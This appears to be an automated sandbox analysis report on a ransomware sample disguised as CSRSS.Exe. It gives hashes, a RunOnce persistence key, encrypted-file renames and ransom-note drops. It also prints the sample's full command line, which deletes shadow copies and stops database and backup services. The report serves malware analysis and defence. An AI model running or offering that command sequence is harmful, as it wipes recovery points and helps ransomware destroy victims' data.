Analysis
-
max time kernel
150s -
max time network
150s -
platform
windows10_x64 -
resource
win10v20201028 -
submitted
10/04/2021, 11:24
Static task
static1
Behavioral task
behavioral1
Sample
CSRSS.Exe
Resource
win7v20201028
windows7_x64
0 signatures
0 seconds
Behavioral task
behavioral2
Sample
CSRSS.Exe
Resource
win10v20201028
windows10_x64
0 signatures
0 seconds
General
-
Target
CSRSS.Exe
-
Size
210KB
-
MD5
67438e8ddb537ef31fd86c5b046e986b
-
SHA1
0722038e02681bb4f1312b92bd62cd070476f3d6
-
SHA256
d7f19de8eb2461c635c0170448a58a1ec6e6de014b4410883f87d0b5d7868e65
-
SHA512
31ba7615a173c84cd59152ed44d707ef81f37bba9d91bc9afb86d89cb6c99f4346cfdce272224f7c3e00f0b23ff930df7cc4285d63fc2185e50669ad8c5c7c39
Score
10/10
Malware Config
Signatures
-
Adds Run key to start application 2 TTPs 2 IoCs
description ioc Process Set value (str) \REGISTRY\USER\S-1-5-21-1985363256-3005190890-1182679451-1000\Software\Microsoft\Windows\CurrentVersion\RunOnce\WindowsUpdateCheck = "C:\\Users\\Admin\\AppData\\Local\\Temp\\CSRSS.Exe" CSRSS.Exe Key created \REGISTRY\USER\S-1-5-21-1985363256-3005190890-1182679451-1000\Software\Microsoft\Windows\CurrentVersion\RunOnce CSRSS.Exe -
Enumerates connected drives 3 TTPs 1 IoCs
Attempts to read the root path of hard drives other than the default C: drive.
description ioc Process File opened (read-only) \??\Z: CSRSS.Exe -
Drops file in Program Files directory 64 IoCs
description ioc Process File opened for modification C:\Program Files\7-Zip\7z.exe.charlie.j0hnson CSRSS.Exe File opened for modification C:\Program Files (x86)\Windows Media Player\en-US\HOW TO RETURN YOU FILES.exe CSRSS.Exe File opened for modification C:\Program Files\Microsoft Office\root\Licenses16\Personal2019R_OEM_Perp-ppd.xrm-ms.charlie.j0hnson CSRSS.Exe File opened for modification C:\Program Files\Microsoft Office\root\Licenses16\ProfessionalR_OEM_Perp-ppd.xrm-ms.charlie.j0hnson CSRSS.Exe File opened for modification C:\Program Files\Microsoft Office\root\Office16\CSS7DATA000A.DLL.charlie.j0hnson CSRSS.Exe File opened for modification C:\Program Files\VideoLAN\VLC\plugins\audio_filter\libsamplerate_plugin.dll.charlie.j0hnson CSRSS.Exe File opened for modification C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroApp\ENU\CollectSignatures.aapp.charlie.j0hnson CSRSS.Exe File opened for modification C:\Program Files\Microsoft Office\root\Licenses16\PublisherR_Trial-ppd.xrm-ms.charlie.j0hnson CSRSS.Exe File opened for modification C:\Program Files\Microsoft Office\root\vfs\System\msvcr110.dll.charlie.j0hnson CSRSS.Exe File opened for modification C:\Program Files\VideoLAN\VLC\locale\ff\HOW TO RETURN YOU FILES.exe CSRSS.Exe File opened for modification C:\Program Files\WindowsApps\Microsoft.WindowsFeedbackHub_1.1612.10312.0_x64__8wekyb3d8bbwe\Styling\css\HOW TO RETURN YOU FILES.exe CSRSS.Exe File opened for modification C:\Program Files\Microsoft Office\root\Licenses16\MondoVL_KMS_Client-ul.xrm-ms.charlie.j0hnson CSRSS.Exe File created C:\Program Files\WindowsApps\Microsoft.MicrosoftSolitaireCollection_3.14.1181.0_x64__8wekyb3d8bbwe\Assets\GameEnd\HOW TO RETURN YOU FILES.exe CSRSS.Exe File created C:\Program Files\WindowsApps\Microsoft.MSPaint_1.1702.28017.0_x64__8wekyb3d8bbwe\HOW TO RETURN YOU FILES.exe CSRSS.Exe File opened for modification C:\Program Files\Microsoft Office\root\Licenses16\PowerPoint2019R_OEM_Perp-ul-phn.xrm-ms.charlie.j0hnson CSRSS.Exe File opened for modification C:\Program Files\Microsoft Office\root\Licenses16\PowerPointR_Retail-ul-phn.xrm-ms.charlie.j0hnson CSRSS.Exe File opened for modification C:\Program Files\Microsoft Office\root\Office16\MSIPC\it\msipc.dll.mui.charlie.j0hnson CSRSS.Exe File created C:\Program Files\WindowsApps\Microsoft.MSPaint_1.1702.28017.0_x64__8wekyb3d8bbwe\CoreEngine\HOW TO RETURN YOU FILES.exe CSRSS.Exe File created C:\Program Files\WindowsApps\Microsoft.NET.Native.Runtime.1.3_1.3.23901.0_x64__8wekyb3d8bbwe\microsoft.system.package.metadata\HOW TO RETURN YOU FILES.exe CSRSS.Exe File created C:\Program Files\Microsoft Office\root\Office16\FPA_FA000000009\HOW TO RETURN YOU FILES.exe CSRSS.Exe File opened for modification C:\Program Files\WindowsApps\Microsoft.Getstarted_4.5.6.0_neutral_~_8wekyb3d8bbwe\microsoft.system.package.metadata\HOW TO RETURN YOU FILES.exe CSRSS.Exe File opened for modification C:\Program Files\Java\jdk1.8.0_66\lib\missioncontrol\plugins\org.eclipse.equinox.p2.metadata_2.2.0.v20131211-1531.jar.charlie.j0hnson CSRSS.Exe File opened for modification C:\Program Files\Windows Mail\en-US\msoeres.dll.mui.charlie.j0hnson CSRSS.Exe File opened for modification C:\Program Files\VideoLAN\VLC\plugins\packetizer\libpacketizer_mpeg4audio_plugin.dll.charlie.j0hnson CSRSS.Exe File opened for modification C:\Program Files\Java\jdk1.8.0_66\lib\missioncontrol\plugins\com.jrockit.mc.browser.jdp_5.5.0.165303.jar.charlie.j0hnson CSRSS.Exe File opened for modification C:\Program Files\Java\jdk1.8.0_66\lib\missioncontrol\plugins\org.eclipse.equinox.p2.metadata.nl_zh_4.4.0.v20140623020002.jar.charlie.j0hnson CSRSS.Exe File opened for modification C:\Program Files\Java\jre1.8.0_66\bin\policytool.exe.charlie.j0hnson CSRSS.Exe File opened for modification C:\Program Files\Microsoft Office\root\Licenses16\StandardVL_KMS_Client-ul-oob.xrm-ms.charlie.j0hnson CSRSS.Exe File created C:\Program Files\Microsoft Office\root\Office16\MSIPC\nl\HOW TO RETURN YOU FILES.exe CSRSS.Exe File opened for modification C:\Program Files\VideoLAN\VLC\plugins\stream_out\libstream_out_record_plugin.dll.charlie.j0hnson CSRSS.Exe File opened for modification C:\Program Files\VideoLAN\VLC\locale\en_GB\LC_MESSAGES\HOW TO RETURN YOU FILES.exe CSRSS.Exe File opened for modification C:\Program Files\WindowsPowerShell\Modules\Pester\3.4.0\Functions\Mock.Tests.ps1.charlie.j0hnson CSRSS.Exe File created C:\Program Files\VideoLAN\VLC\locale\bn\HOW TO RETURN YOU FILES.exe CSRSS.Exe File opened for modification C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\plug_ins3d\2d.x3d.charlie.j0hnson CSRSS.Exe File opened for modification C:\Program Files (x86)\Reference Assemblies\Microsoft\Framework\v3.5\System.Windows.Presentation.dll.charlie.j0hnson CSRSS.Exe File opened for modification C:\Program Files\Java\jdk1.8.0_66\lib\missioncontrol\plugins\org.apache.lucene.analysis_3.5.0.v20120725-1805.jar.charlie.j0hnson CSRSS.Exe File opened for modification C:\Program Files\Windows Media Player\wmpnssci.dll.charlie.j0hnson CSRSS.Exe File opened for modification C:\Program Files\Microsoft Office\root\Office16\LogoImages\ExcelLogoSmall.contrast-white_scale-80.png.charlie.j0hnson CSRSS.Exe File opened for modification C:\Program Files (x86)\Google\Update\Download\{8A69D345-D564-463C-AFF1-A69D9E530F96}\HOW TO RETURN YOU FILES.exe CSRSS.Exe File opened for modification C:\Program Files\Microsoft Office\root\Licenses16\MondoR_Subscription2-ul-oob.xrm-ms.charlie.j0hnson CSRSS.Exe File opened for modification C:\Program Files\Microsoft Office\root\Templates\1033\ContemporaryPhotoAlbum.potx.charlie.j0hnson CSRSS.Exe File opened for modification C:\Program Files\WindowsApps\DeletedAllUserPackages\Microsoft.WindowsSoundRecorder_10.1702.301.0_neutral_split.scale-125_8wekyb3d8bbwe\Assets\HOW TO RETURN YOU FILES.exe CSRSS.Exe File created C:\Program Files\WindowsApps\Microsoft.3DBuilder_13.0.10349.0_x64__8wekyb3d8bbwe\Common\HOW TO RETURN YOU FILES.exe CSRSS.Exe File created C:\Program Files (x86)\MSBuild\Microsoft\Windows Workflow Foundation\HOW TO RETURN YOU FILES.exe CSRSS.Exe File opened for modification C:\Program Files\Java\jdk1.8.0_66\include\HOW TO RETURN YOU FILES.exe CSRSS.Exe File opened for modification C:\Program Files\Microsoft Office\root\Licenses16\Outlook2019R_Retail-ul-oob.xrm-ms.charlie.j0hnson CSRSS.Exe File opened for modification C:\Program Files\Microsoft Office\root\Office16\TellMeRuntime.dll.charlie.j0hnson CSRSS.Exe File created C:\Program Files\VideoLAN\VLC\locale\pl\LC_MESSAGES\HOW TO RETURN YOU FILES.exe CSRSS.Exe File created C:\Program Files\WindowsApps\Microsoft.MicrosoftSolitaireCollection_3.14.1181.0_x64__8wekyb3d8bbwe\SharpDXEngine\Rendering\Shaders\HOW TO RETURN YOU FILES.exe CSRSS.Exe File opened for modification C:\Program Files\7-Zip\7z.sfx.charlie.j0hnson CSRSS.Exe File opened for modification C:\Program Files\Microsoft Office\root\Licenses16\O365BusinessDemoR_BypassTrial365-ppd.xrm-ms.charlie.j0hnson CSRSS.Exe File opened for modification C:\Program Files\Microsoft Office\root\Licenses16\VisioStdCO365R_Subscription-ppd.xrm-ms.charlie.j0hnson CSRSS.Exe File opened for modification C:\Program Files\Microsoft Office\root\Office16\mscss7cm_es.dub.charlie.j0hnson CSRSS.Exe File opened for modification C:\Program Files\WindowsApps\Microsoft.WindowsAlarms_2017.203.236.0_neutral_~_8wekyb3d8bbwe\AppxMetadata\HOW TO RETURN YOU FILES.exe CSRSS.Exe File opened for modification C:\Program Files\Microsoft Office\root\Templates\1033\AdjacencyReport.dotx.charlie.j0hnson CSRSS.Exe File opened for modification C:\Program Files\VideoLAN\VLC\plugins\access\libaccess_srt_plugin.dll.charlie.j0hnson CSRSS.Exe File opened for modification C:\Program Files\Java\jdk1.8.0_66\lib\missioncontrol\plugins\org.eclipse.help_3.6.0.v20130326-1254.jar.charlie.j0hnson CSRSS.Exe File opened for modification C:\Program Files\Microsoft Office\root\Office16\sdxs\FA000000027\comments.win32.tpn.charlie.j0hnson CSRSS.Exe File opened for modification C:\Program Files\VideoLAN\VLC\locale\hy\LC_MESSAGES\vlc.mo.charlie.j0hnson CSRSS.Exe File opened for modification C:\Program Files (x86)\Common Files\Microsoft Shared\VSTA\Pipeline.v10.0\HostSideAdapters\Microsoft.VisualStudio.Tools.Office.Excel.HostAdapter.v10.0.dll.charlie.j0hnson CSRSS.Exe File opened for modification C:\Program Files\Microsoft Office\root\Licenses16\PublisherVL_MAK-pl.xrm-ms.charlie.j0hnson CSRSS.Exe File opened for modification C:\Program Files\WindowsApps\Microsoft.XboxGameOverlay_1.15.2003.0_x64__8wekyb3d8bbwe\Assets\HOW TO RETURN YOU FILES.exe CSRSS.Exe File created C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\plug_ins\pi_brokers\HOW TO RETURN YOU FILES.exe CSRSS.Exe File opened for modification C:\Program Files (x86)\WindowsPowerShell\Modules\PackageManagement\1.0.0.1\en\Microsoft.PackageManagement.resources.dll.charlie.j0hnson CSRSS.Exe -
Suspicious use of AdjustPrivilegeToken 4 IoCs
description pid Process Token: SeBackupPrivilege 496 CSRSS.Exe Token: SeRestorePrivilege 496 CSRSS.Exe Token: SeManageVolumePrivilege 496 CSRSS.Exe Token: SeTakeOwnershipPrivilege 496 CSRSS.Exe -
Suspicious use of WriteProcessMemory 3 IoCs
description pid Process procid_target PID 496 wrote to memory of 2696 496 CSRSS.Exe 75 PID 496 wrote to memory of 2696 496 CSRSS.Exe 75 PID 496 wrote to memory of 2696 496 CSRSS.Exe 75
Processes
-
C:\Users\Admin\AppData\Local\Temp\CSRSS.Exe"C:\Users\Admin\AppData\Local\Temp\CSRSS.Exe"1⤵
- Adds Run key to start application
- Enumerates connected drives
- Drops file in Program Files directory
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:496 -
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c @echo off vssadmin delete shadows /all /quiet sc config browser sc config browser start=enabled sc stop vss sc config vss start=disabled sc stop MongoDB sc config MongoDB start=disabled sc stop SQLWriter sc config SQLWriter start=disabled sc stop MSSQLServerOLAPService sc config MSSQLServerOLAPService start=disabled sc stop MSSQLSERVER sc config MSSQLSERVER start=disabled sc stop MSSQL$SQLEXPRESS sc config MSSQL$SQLEXPRESS start=disabled sc stop ReportServer sc config ReportServer start=disabled sc stop OracleServiceORCL sc config OracleServiceORCL start=disabled sc stop OracleDBConsoleorcl sc config OracleDBConsoleorcl start=disabled sc stop OracleMTSRecoveryService sc config OracleMTSRecoveryService start=disabled sc stop OracleVssWriterORCL sc config OracleVssWriterORCL start=disabled sc stop MySQL sc config MySQL start=disabled2⤵PID:2696
-